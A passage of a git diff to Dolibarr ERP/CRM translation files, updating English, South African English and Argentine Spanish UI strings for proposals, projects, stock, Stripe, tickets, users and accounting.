+AmountIn=Amount in %s NumberOfUnitsMos=Number of units to produce in manufacturing orders EMailTextInterventionAddedContact=A new intervention %s has been assigned to you. EMailTextInterventionValidated=The intervention %s has been validated. @@ -211,7 +202,11 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. +EMailTextOrderClose=Order %s has been delivered. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. EMailTextOrderApprovedBy=Order %s has been approved by %s. diff --git a/htdocs/langs/en_US/partnership.lang b/htdocs/langs/en_US/partnership.lang index 89a1bfa742d..105456dc719 100644 --- a/htdocs/langs/en_US/partnership.lang +++ b/htdocs/langs/en_US/partnership.lang @@ -29,7 +29,7 @@ PartnershipCheckBacklink=Partnership: Check referring backlink # Menu # NewPartnership=New Partnership -NewPartnershipbyWeb= Your partnership was added successfully. +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=List of partnership # @@ -93,4 +93,5 @@ ReasonDeclineOrCancel=Reason for declining or canceling NewPartnershipRequest=New partnership request NewPartnershipRequestDesc=This form allows you to request to be part of one of our partnership program. If you need help to fill this form, please contact by email %s. +ThisUrlMustContainsAtLeastOneLinkToWebsite=This page must contains at least one link to one of the following domain: %s diff --git a/htdocs/langs/en_US/products.lang b/htdocs/langs/en_US/products.lang index 3d5048d99a9..1597da50851 100644 --- a/htdocs/langs/en_US/products.lang +++ b/htdocs/langs/en_US/products.lang @@ -345,8 +345,8 @@ PossibleValues=Possible values GoOnMenuToCreateVairants=Go on menu %s - %s to prepare attribute variants (like colors, size, ...) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Vendor description for the product -UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) -PackagingForThisProduct=Packaging +UseProductSupplierPackaging=Use the "packaging" feature to round the quantities to some given multiples (when adding/updating line in a vendor documents, recalculate quantities and purchase prices according to the higher multiple set on the purchase prices of a product) +PackagingForThisProduct=Packaging of quantities PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=The quantity of the line were recalculated according to supplier packaging diff --git a/htdocs/langs/en_US/projects.lang b/htdocs/langs/en_US/projects.lang index b6001b2b27b..6a7a0a6fbe1 100644 --- a/htdocs/langs/en_US/projects.lang +++ b/htdocs/langs/en_US/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=This view presents all projects and tasks you are allowed to rea TasksDesc=This view presents all projects and tasks (your user permissions grant you permission to view everything). AllTaskVisibleButEditIfYouAreAssigned=All tasks for qualified projects are visible, but you can enter time only for task assigned to selected user. Assign task if you need to enter time on it. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Tasks of projects ProjectCategories=Project tags/categories NewProject=New project @@ -124,7 +125,8 @@ ValidateProject=Validate projet ConfirmValidateProject=Are you sure you want to validate this project? CloseAProject=Close project ConfirmCloseAProject=Are you sure you want to close this project? -AlsoCloseAProject=Also close project (keep it open if you still need to follow production tasks on it) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Open project ConfirmReOpenAProject=Are you sure you want to re-open this project? ProjectContact=Contacts of project @@ -167,7 +169,7 @@ OpportunityProbability=Lead probability OpportunityProbabilityShort=Lead probab. OpportunityAmount=Lead amount OpportunityAmountShort=Lead amount -OpportunityWeightedAmount=Opportunity weighted amount +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. weighted amount OpportunityAmountAverageShort=Average lead amount OpportunityAmountWeigthedShort=Weighted lead amount @@ -240,7 +242,7 @@ OppStatusPENDING=Pending OppStatusWON=Won OppStatusLOST=Lost Budget=Budget -AllowToLinkFromOtherCompany=Allow to link project from other company

      Supported values:
      - Keep empty: Can link any project of the company (default)
      - "all": Can link any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link all projects of these third partys (Example: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Latest %s projects LatestModifiedProjects=Latest %s modified projects OtherFilteredTasks=Other filtered tasks @@ -257,6 +259,7 @@ RecordsClosed=%s project(s) closed SendProjectRef=Information project %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Module 'Salaries' must be enabled to define employee hourly rate to have time spent valorized NewTaskRefSuggested=Task ref already used, a new task ref is required +NumberOfTasksCloned=%s task(s) cloned TimeSpentInvoiced=Time spent billed TimeSpentForIntervention=Time spent TimeSpentForInvoice=Time spent @@ -284,7 +287,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -296,4 +299,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form -ExportAccountingReportButtonLabel=Get report \ No newline at end of file +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/en_US/propal.lang b/htdocs/langs/en_US/propal.lang index 7e9afd4e27c..194e2ca0dcd 100644 --- a/htdocs/langs/en_US/propal.lang +++ b/htdocs/langs/en_US/propal.lang @@ -55,6 +55,7 @@ CopyPropalFrom=Create commercial proposal by copying existing proposal CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Default commercial proposal validity duration (in days) DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal +DefaultPuttingDescUpToDate=By default update descriptions with current known descriptions on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -65,53 +66,54 @@ AvailabilityPeriod=Availability delay SetAvailability=Set availability delay AfterOrder=after order OtherProposals=Other proposals + ##### Availability ##### AvailabilityTypeAV_NOW=Immediate AvailabilityTypeAV_1W=1 week AvailabilityTypeAV_2W=2 weeks AvailabilityTypeAV_3W=3 weeks AvailabilityTypeAV_1M=1 month -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representative following-up proposal TypeContact_propal_external_BILLING=Customer invoice contact TypeContact_propal_external_CUSTOMER=Customer contact following-up proposal TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model -DefaultModelPropalCreate=Default model creation -DefaultModelPropalToBill=Default template when closing a business proposal (to be invoiced) -DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) -ProposalCustomerSignature=Written acceptance, company stamp, date and signature -ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -NoSign=Set not signed -NoSigned=set not signed CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by ConfirmMassNoSignature=Bulk Not signed confirmation ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Sign -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Proposal ID +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) +DefaultModelPropalCreate=Default model creation +DefaultModelPropalToBill=Default template when closing a business proposal (to be invoiced) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal -SignContract=Sign contract -SignFichinter=Sign intervention +NoSign=Refuse +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted +ProposalCustomerSignature=Written acceptance, company stamp, date and signature +ProposalsStatisticsSuppliers=Vendor proposals statistics RefusePropal=Refuse proposal Sign=Sign -NoSign=Refuse -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -ContractSigned=Contract signed -FichinterSigned=Intervention signed -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/en_US/receptions.lang b/htdocs/langs/en_US/receptions.lang index 5b51f5ba071..7324f14f2e0 100644 --- a/htdocs/langs/en_US/receptions.lang +++ b/htdocs/langs/en_US/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Draft StatusReceptionValidatedShort=Validated StatusReceptionProcessedShort=Processed ReceptionSheet=Reception sheet +ValidateReception=Validate reception ConfirmDeleteReception=Are you sure you want to delete this reception? ConfirmValidateReception=Are you sure you want to validate this reception with reference %s? ConfirmCancelReception=Are you sure you want to cancel this reception? diff --git a/htdocs/langs/en_US/salaries.lang b/htdocs/langs/en_US/salaries.lang index 20a10694500..e94669516a8 100644 --- a/htdocs/langs/en_US/salaries.lang +++ b/htdocs/langs/en_US/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Accounting account used for user third parties -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Accounting account by default for wage payments CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Salary @@ -24,4 +24,4 @@ SalariesStatistics=Salary statistics SalariesAndPayments=Salaries and payments ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first -UpdateAmountWithLastSalary=Set amount with last salary +UpdateAmountWithLastSalary=Set amount of last salary diff --git a/htdocs/langs/en_US/stocks.lang b/htdocs/langs/en_US/stocks.lang index b575e7fcd4b..f4c4793ad0f 100644 --- a/htdocs/langs/en_US/stocks.lang +++ b/htdocs/langs/en_US/stocks.lang @@ -49,7 +49,7 @@ StockCorrection=Stock correction CorrectStock=Correct stock StockTransfer=Stock transfer TransferStock=Transfer stock -MassStockTransferShort=Mass stock transfer +MassStockTransferShort=Bulk stock change StockMovement=Stock movement StockMovements=Stock movements NumberOfUnit=Number of units @@ -99,7 +99,7 @@ RealStockWillAutomaticallyWhen=The real stock will be modified according to this VirtualStock=Virtual stock VirtualStockAtDate=Virtual stock at a future date VirtualStockAtDateDesc=Virtual stock once all the pending orders that are planned to be processed before the chosen date will be finished -VirtualStockDesc=Virtual stock is the calculated stock available once all open/pending actions (that affect stocks) are closed (purchase orders received, sales orders shipped, manufacturing orders produced, etc) +VirtualStockDesc=Virtual stock is the stock that will remain after all open/pending actions (that affect stocks) have been performed (purchase orders received, sales orders shipped, manufacturing orders produced, etc) AtDate=At date IdWarehouse=Id warehouse DescWareHouse=Description warehouse @@ -147,8 +147,9 @@ Replenishments=Replenishments NbOfProductBeforePeriod=Quantity of product %s in stock before selected period (< %s) NbOfProductAfterPeriod=Quantity of product %s in stock after selected period (> %s) MassMovement=Mass movement -SelectProductInAndOutWareHouse=Select a source warehouse and a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Record transfer +RecordMovements=Record stock movements ReceivingForSameOrder=Receipts for this order StockMovementRecorded=Stock movements recorded RuleForStockAvailability=Rules on stock requirements diff --git a/htdocs/langs/en_US/stripe.lang b/htdocs/langs/en_US/stripe.lang index 2a3f988cebf..f5b5d3fca91 100644 --- a/htdocs/langs/en_US/stripe.lang +++ b/htdocs/langs/en_US/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live key ONLINE_PAYMENT_WAREHOUSE=Stock to use for stock decrease when online payment is done
      (TODO When option to decrease stock is done on an action on invoice and the online payment generate itself the invoice ?) StripeLiveEnabled=Stripe live enabled (otherwise test/sandbox mode) StripeImportPayment=Import Stripe payments -ExampleOfTestCreditCard=Example of credit card for test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestCreditCard=Example of credit card for a test payment: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca_...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca_...) @@ -70,5 +71,8 @@ ToOfferALinkForLiveWebhook=Link to setup Stripe WebHook to call the IPN (live mo PaymentWillBeRecordedForNextPeriod=Payment will be recorded for the next period. ClickHereToTryAgain=Click here to try again... CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s -TERMINAL_LOCATION=Location (address) for terminals -RequestDirectDebitWithStripe=Request Direct Debit with Stripe \ No newline at end of file +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + \ No newline at end of file diff --git a/htdocs/langs/en_US/ticket.lang b/htdocs/langs/en_US/ticket.lang index 1696018db89..cb261bbc378 100644 --- a/htdocs/langs/en_US/ticket.lang +++ b/htdocs/langs/en_US/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modify tickets Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=External contributor OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Send ticket message by email +ExportDataset_ticket_1=Tickets + # Status Read=Read Assigned=Assigned @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=The text specified here will be inserted into the email c TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketsShowProgression=Display the ticket progress in the public interface +TicketsShowProgressionHelp=Enable this option to hide the progress of the ticket in the public interface pages TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface @@ -182,7 +188,7 @@ CreatedBy=Created by NewTicket=New Ticket SubjectAnswerToTicket=Ticket answer TicketTypeRequest=Request type -TicketCategory=Ticket categorization +TicketCategory=Ticket group SeeTicket=See ticket TicketMarkedAsRead=Ticket has been marked as read TicketReadOn=Read on @@ -241,7 +247,9 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users +TicketMessageRecipientsHelp=Recipient field completed with active contacts linked to the ticket TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message LinkToAContract=Link to a contract diff --git a/htdocs/langs/en_US/users.lang b/htdocs/langs/en_US/users.lang index 3f2c7f5f53a..8da39ed1cd8 100644 --- a/htdocs/langs/en_US/users.lang +++ b/htdocs/langs/en_US/users.lang @@ -66,13 +66,14 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Create a user CreateDolibarrThirdParty=Create a third party -LoginAccountDisableInDolibarr=Account disabled in Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Use personal value ExportDataset_user_1=Users and their properties DomainUser=Domain user %s Reactivate=Reactivate CreateInternalUserDesc=This form allows you to create an internal user in your company/organization. To create an external user (customer, vendor etc. ..), use the button 'Create Dolibarr User' from that third-party's contact card. -InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. +InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. PermissionInheritedFromAGroup=Permission granted because inherited from one of a user's group. Inherited=Inherited UserWillBe=Created user will be @@ -81,7 +82,7 @@ UserWillBeExternalUser=Created user will be an external user (because linked to IdPhoneCaller=Id phone caller NewUserCreated=User %s created NewUserPassword=Password change for %s -NewPasswordValidated=Your new password have been validated and must be used now to login. +NewPasswordValidated=Your new password have been validated and must be used now to login. EventUserModified=User %s modified UserDisabled=User %s disabled UserEnabled=User %s activated @@ -127,3 +128,7 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card diff --git a/htdocs/langs/en_US/website.lang b/htdocs/langs/en_US/website.lang index 874cdc76f28..7b2cc90f7ac 100644 --- a/htdocs/langs/en_US/website.lang +++ b/htdocs/langs/en_US/website.lang @@ -153,3 +153,7 @@ PreviousContainer=Previous page/container WebsiteMustBeDisabled=The website must have the status "%s" WebpageMustBeDisabled=The web page must have the status "%s" SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation +PagesViewedPreviousMonth=Pages viewed (previous month) +PagesViewedTotal=Pages viewed (total) \ No newline at end of file diff --git a/htdocs/langs/en_US/withdrawals.lang b/htdocs/langs/en_US/withdrawals.lang index 1ed8148f6f2..7b8d4ae3f26 100644 --- a/htdocs/langs/en_US/withdrawals.lang +++ b/htdocs/langs/en_US/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Invoice waiting for credit transfer AmountToWithdraw=Amount to withdraw AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=No invoice open for '%s' is waiting. Go on tab '%s' on invoice card to make a request. -NoSupplierInvoiceToWithdraw=No supplier invoice with open 'Direct credit requests' is waiting. Go on tab '%s' on invoice card to make a request. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=User Responsible WithdrawalsSetup=Direct debit payment setup CreditTransferSetup=Credit transfer setup diff --git a/htdocs/langs/en_ZA/admin.lang b/htdocs/langs/en_ZA/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/en_ZA/admin.lang +++ b/htdocs/langs/en_ZA/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_ZA/hrm.lang b/htdocs/langs/en_ZA/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_ZA/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_ZA/install.lang b/htdocs/langs/en_ZA/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_ZA/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_ZA/propal.lang b/htdocs/langs/en_ZA/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/en_ZA/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/en_ZA/stripe.lang b/htdocs/langs/en_ZA/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_ZA/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_AR/accountancy.lang b/htdocs/langs/es_AR/accountancy.lang index f2465f8da73..4d4d9531d99 100644 --- a/htdocs/langs/es_AR/accountancy.lang +++ b/htdocs/langs/es_AR/accountancy.lang @@ -8,13 +8,13 @@ ACCOUNTING_EXPORT_DEVISE=Exportar moneda Selectformat=Elegir el formato del archivo ACCOUNTING_EXPORT_FORMAT=Seleccione el formato para el archivo ACCOUNTING_EXPORT_PREFIX_SPEC=Especificar el prefijo para el nombre de archivo -DefaultForService=Predeterminado para servicio -DefaultForProduct=Predeterminado para producto AccountancySetupDoneFromAccountancyMenu=La mayor parte de la configuración de la contabilidad se hace desde el menú %s Journalization=Contabilización Journals=Diarios Contables JournalFinancial=Diarios Financieros AssignDedicatedAccountingAccount=Nueva cuenta para asignar InvoiceLabel=Etiqueta de la factura -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts +AccountingJournalType5=Informe de gastos ConfirmMassDeleteBookkeepingWriting=Confirmar Eliminar en Masa diff --git a/htdocs/langs/es_AR/admin.lang b/htdocs/langs/es_AR/admin.lang index beedcee5010..e5702d9da8f 100644 --- a/htdocs/langs/es_AR/admin.lang +++ b/htdocs/langs/es_AR/admin.lang @@ -589,12 +589,10 @@ EmailCollectorConfirmCollectTitle=Correo electrónico recoger confirmación NoNewEmailToProcess=No hay correo electrónico nuevo (filtros coincidentes) para procesar CodeLastResult=Último código de resultado ECMAutoTree=Mostrar arbol ECM automatico -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. ResourceSetup=Configuración del módulo de recursos UseSearchToSelectResource=Use un formulario de búsqueda para elegir un recurso (en lugar de una lista desplegable). DisabledResourceLinkUser=Deshabilitar la función para vincular un recurso a los usuarios DisabledResourceLinkContact=Deshabilitar función para vincular un recurso a contactos ConfirmUnactivation=Confirmar el reinicio del módulo OnMobileOnly=Solo en pantalla pequeña (teléfono inteligente) -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      Settings =Ajustes diff --git a/htdocs/langs/es_AR/datapolicy.lang b/htdocs/langs/es_AR/datapolicy.lang new file mode 100644 index 00000000000..1171dcef5f5 --- /dev/null +++ b/htdocs/langs/es_AR/datapolicy.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - datapolicy +DATAPOLICY_TIERS_PROSPECT =Cliente Potencial +DATAPOLICY_CONTACT_PROSPECT =Cliente Potencial diff --git a/htdocs/langs/es_AR/ecm.lang b/htdocs/langs/es_AR/ecm.lang index a668d35a6b8..099dbdbaf6f 100644 --- a/htdocs/langs/es_AR/ecm.lang +++ b/htdocs/langs/es_AR/ecm.lang @@ -15,7 +15,6 @@ ECMNbOfSubDir=Cantidad de sub-carpetas ECMNbOfFilesInSubDir=Cantidad de archivos en sub-carpetas ECMArea=Area SAD/ACE ECMAreaDesc=El área de SAD/ACE (Sistema de Administración de Documentos / Administración de Contenido Electrónico) te permite guardar, compartir y rápidamente buscar todo tipo de documentos en Dolibarr. -ECMAreaDesc2=* Las carpetas automáticas son llenadas automáticamente al agregar documentos desde la ficha de un elemento.
      * Las carpetas manuales pueden ser usadas para guardar documentos no enlazados a un elemento en particular. ECMSectionWasRemoved=Carpeta %s ha sido eliminada. ECMSectionWasCreated=Carpeta %s ha sido creada. ECMSearchByKeywords=Búsqueda por palabras clave diff --git a/htdocs/langs/es_AR/loan.lang b/htdocs/langs/es_AR/loan.lang index d75a600b702..45c7a9444b2 100644 --- a/htdocs/langs/es_AR/loan.lang +++ b/htdocs/langs/es_AR/loan.lang @@ -14,7 +14,4 @@ ListLoanAssociatedProject=Lista de préstamos asociados con el proyecto AddLoan=Crear préstamo FinancialCommitment=Compromiso financiero ConfigLoan=Configuración del módulo de préstamos -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Cuenta contable predeterminada para capital -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Cuenta contable predeterminada para interés -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Cuenta contable predeterminada para seguro CreateCalcSchedule=Editar compromiso financiero diff --git a/htdocs/langs/es_AR/main.lang b/htdocs/langs/es_AR/main.lang index fc6c62ae66c..9d96140997b 100644 --- a/htdocs/langs/es_AR/main.lang +++ b/htdocs/langs/es_AR/main.lang @@ -137,7 